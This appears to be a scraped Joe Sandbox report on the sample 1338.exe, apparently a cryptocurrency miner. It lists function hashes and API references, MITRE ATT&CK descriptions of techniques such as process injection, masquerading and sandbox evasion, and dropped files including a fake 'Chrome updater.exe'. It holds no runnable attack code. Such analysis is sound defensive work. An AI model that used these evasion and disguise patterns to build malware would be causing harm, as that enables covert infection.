Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID: 8eAS
API String ID: 0-1103591571
Opcode ID: e7e34c076a78561ddf6fab2ef219859410a3e6ea3e4b32e7874722e895b7c5e0
Instruction ID: 86a5de8d0fefb09ff02447c4a65f4a44c10e911b0676ef9460e4769642f158f8
Opcode Fuzzy Hash: e7e34c076a78561ddf6fab2ef219859410a3e6ea3e4b32e7874722e895b7c5e0
Instruction Fuzzy Hash: 90F1C430508A8D8FEBA8DF28C8457FA37E1FF55310F14426EE84DC7295DB74A9818B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C052E2 Relevance: 1.7, Strings: 1, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8eAS, xrefs: 00007FF9F1C0561B

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID: 8eAS
API String ID: 0-1103591571
Opcode ID: c517e0d6a2280677bbbf00cd7f816aad8409ec4b26bc4015cc9169dc4115f8c1
Instruction ID: b03f10d5f1141289ae23d16eb39135cf86b8763d2f2033cb5ac37ec8903905f4
Opcode Fuzzy Hash: c517e0d6a2280677bbbf00cd7f816aad8409ec4b26bc4015cc9169dc4115f8c1
Instruction Fuzzy Hash: 8CE1B430508A8D8FEBA9DF28C8557F93BE1FF55311F14426ED84DC72A1DB74A8858B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C00919 Relevance: 2.0, Strings: 1, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HAS, xrefs: 00007FF9F1C009A6

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID: HAS
API String ID: 0-1809462313
Opcode ID: 2e047e9e8caa7f93d72262577d5b56afd29b01a3bd38d28755385d955b6ad381
Instruction ID: e92b2212c50144a0dfc15a86679443d636da4a462d088776df2bfad455ad747a
Opcode Fuzzy Hash: 2e047e9e8caa7f93d72262577d5b56afd29b01a3bd38d28755385d955b6ad381
Instruction Fuzzy Hash: 6B220820A1CF494FE78AE7288451779B7E2EF8A340F5940B9D44DDB2E7DE697C818381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C00095 Relevance: 1.8, Strings: 1, Instructions: 582
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jtZL, xrefs: 00007FF9F1C00495

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID: jtZL
API String ID: 0-421114002
Opcode ID: feecd4c49e5d5db6c8ac602f1e4c7a5e3100c04bf4eae15fc49ae7e937b9978d
Instruction ID: 6556e5135163f82342854755308fe2ff2d3ceda729c489c9dc1c32b998276a45
Opcode Fuzzy Hash: feecd4c49e5d5db6c8ac602f1e4c7a5e3100c04bf4eae15fc49ae7e937b9978d
Instruction Fuzzy Hash: 47C1D627D0D7C25EE702DB6C68551E63F60EF93265B1B00FBD1E8CA0E7DB45285A83A1

Uniqueness

Uniqueness Score: -1.00%

Function 00000286977B4AB2 Relevance: 1.7, APIs: 1, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CLRCreateInstance.MSCOREE ref: 00000286977B4B01

Memory Dump Source

Source File: 00000029.00000002.695316719.00000286977B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000286977B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_286977b0000_conhost.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 6897f6c5658fd02445411d2cd62f691495e6ef8d9a8d3b03fbdb7ace318125ef
Instruction ID: 0bf5bebb6a5d48a25ec596bda9cbd8aa1d965702474de4593134ac72bcac9fd7
Opcode Fuzzy Hash: 6897f6c5658fd02445411d2cd62f691495e6ef8d9a8d3b03fbdb7ace318125ef
Instruction Fuzzy Hash: 7E815E31209B088FDB68EF28D88CBA677E5FF99301F004A6DD59BCB191EE31E5458B41

Uniqueness

Uniqueness Score: -1.00%

Function 00000286977B3FBA Relevance: 1.6, APIs: 1, Instructions: 125
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000286977B3FD4

Memory Dump Source

Source File: 00000029.00000002.695316719.00000286977B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000286977B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_286977b0000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
Instruction ID: a6d2981f586674fbdf335614c4bb198a8119d31359594c248aba1880bd946cf0
Opcode Fuzzy Hash: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
Instruction Fuzzy Hash: AE31C03130DA184FEB48AE28E84D7AA73D5EB98310F001559ED4BC72CADDB0ED0287C2

Uniqueness

Uniqueness Score: -1.00%

Function 00000286977B3EAF Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000286977B3EBC

Memory Dump Source

Source File: 00000029.00000002.695316719.00000286977B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000286977B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_286977b0000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
Instruction ID: bae6cb76c4b14611492efa362d9ae6fa2bcc7127c65b6da293499123f1942822
Opcode Fuzzy Hash: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
Instruction Fuzzy Hash: F131AF3530DA084FDF58AE58984D3A973E2E7D8320F00966AEE1BCB2C9DD70ED418781

Uniqueness

Uniqueness Score: -1.00%

Function 00000286977B3EA2 Relevance: 1.5, APIs: 1, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000286977B3EBC

Memory Dump Source

Source File: 00000029.00000002.695316719.00000286977B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000286977B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_286977b0000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
Instruction ID: 0f9c833061359b210eccfe765759304dd797a27335cd560e6099818e9e843ec6
Opcode Fuzzy Hash: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
Instruction Fuzzy Hash: 00E0203130DA0D1FF758999DD84E7B667D8D795371F00103FF649C2141E455E8D103A1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C002AA Relevance: 1.5, Strings: 1, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jtZL, xrefs: 00007FF9F1C00495

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID: jtZL
API String ID: 0-421114002
Opcode ID: efacb83930d58404342c772cc3cc60e0bc463f1b53b32f8425a2576170032543
Instruction ID: 36d9288a5a2c0c380c22bf2ee54168008a63679c09fa50d56a75d27741d07b0a
Opcode Fuzzy Hash: efacb83930d58404342c772cc3cc60e0bc463f1b53b32f8425a2576170032543
Instruction Fuzzy Hash: 4B31642190E7C55FDB43E73858256A97FB0AF47214B0A40FBD098CF1E7DA28199983A2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C00580 Relevance: .2, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56babbad2cc2fa5fd3d670f4ccde223c28cf2ed9cc0beae5ef2d0971f5972be1
Instruction ID: 1211083db6b06d6ab1aa4d7390c57d3b1919c6a148fc080b6899a06633dc3ceb
Opcode Fuzzy Hash: 56babbad2cc2fa5fd3d670f4ccde223c28cf2ed9cc0beae5ef2d0971f5972be1
Instruction Fuzzy Hash: 1751E421B1CA494FE748FB2C940A779B7D2EF9A700F1541BAE04DC32E7DE68EC424695

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C00561 Relevance: .2, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b2d1e674696717189e2ddeb7275e80af64009bb2c58ef9338ac53a0201f2af2
Instruction ID: 0d59714c9f2a80a1f8de0360e4748403774607c053c2b59ad850c46ae4216d8b
Opcode Fuzzy Hash: 9b2d1e674696717189e2ddeb7275e80af64009bb2c58ef9338ac53a0201f2af2
Instruction Fuzzy Hash: B9513921B1CA494FE744FB2C980A7B577D2EF9A340F1541BAE04DC72E7DE68AC428395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C00088 Relevance: .2, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2df7ac9c343eda8a5179dc9dd977b0bec667e5dc521f6c83c44a930613fa9469
Instruction ID: d1052bd05933d0db60af239cf921f4e4ddd2c8362a332a5b0e737d928900b745
Opcode Fuzzy Hash: 2df7ac9c343eda8a5179dc9dd977b0bec667e5dc521f6c83c44a930613fa9469
Instruction Fuzzy Hash: 7C411920B1CA494FE744F72C940A7B977D2EF9A740F1541BAE44DC32E7DE68AC424395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C00842 Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 406291befd3d07a360c71e39248d143a09a7984be70fc9a6bbbc99fc3fcffad8
Instruction ID: 4984b3c3ca6d4b981ca56128ae461f2b77843ef8dae8d072235d2147d95cc860
Opcode Fuzzy Hash: 406291befd3d07a360c71e39248d143a09a7984be70fc9a6bbbc99fc3fcffad8
Instruction Fuzzy Hash: AA21C22180D6C24FE317937448217947FA0AF03294F1E02EAC498CB1E7DE5D64A9C3A2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C00722 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fc2713af0e73cf7a3f1005f822a4a54b096d8d16dd8a3a1488b6debdd6c996d
Instruction ID: f4d2d007483eccd71cd073ee6119bdf05434bbc161c4a16d747c2419571e886e
Opcode Fuzzy Hash: 7fc2713af0e73cf7a3f1005f822a4a54b096d8d16dd8a3a1488b6debdd6c996d
Instruction Fuzzy Hash: 0611FA35B5C91D8FDB88EB9CD4957BCB7E1EF59311F01007AD11ED3292CE65A8928B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C0050D Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73b6245d0a591768fd6861f737b2d070a3981a7916b17674848ca051778fbd5e
Instruction ID: 41ad400988895873f3e8b6f1e1fc837a4400bd597f985af736ae1693590c9efe
Opcode Fuzzy Hash: 73b6245d0a591768fd6861f737b2d070a3981a7916b17674848ca051778fbd5e
Instruction Fuzzy Hash: 0DF0B821B0DD594FD788F33C5455AA86BC2EF98220B4A41F6C00CCB2A3EA28E8808380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C00520 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866dc2dbd041339e84ff2032a8f0b3eb1a316788571ec41914f48c8dd56cf09d
Instruction ID: 12b76b10dc235255aebac9b05a62040bc92c5db29da4cb547a05f90498ccbf58
Opcode Fuzzy Hash: 866dc2dbd041339e84ff2032a8f0b3eb1a316788571ec41914f48c8dd56cf09d
Instruction Fuzzy Hash: E0E01A21B18C1D4F9A94F73C5445AA962D2EB9C250B5645B6E40CC32A6DD28DC918390

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1338.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

C:\Program Files\Google\Chrome\updater.exe:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iz5dcerk.5l1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_luxykyrv.0d4.ps1

C:\Users\user\Documents\20220524\PowerShell_transcript.138727.wGZBkiVH.20220524221918.txt

C:\Windows\System32\20220524\PowerShell_transcript.138727.N6O0aqP_.20220524222001.txt

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\Temp\__PSScriptPolicyTest_5xvkmjam.hyi.psm1

C:\Windows\Temp\__PSScriptPolicyTest_frzn2qj0.jw3.ps1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
1338.exe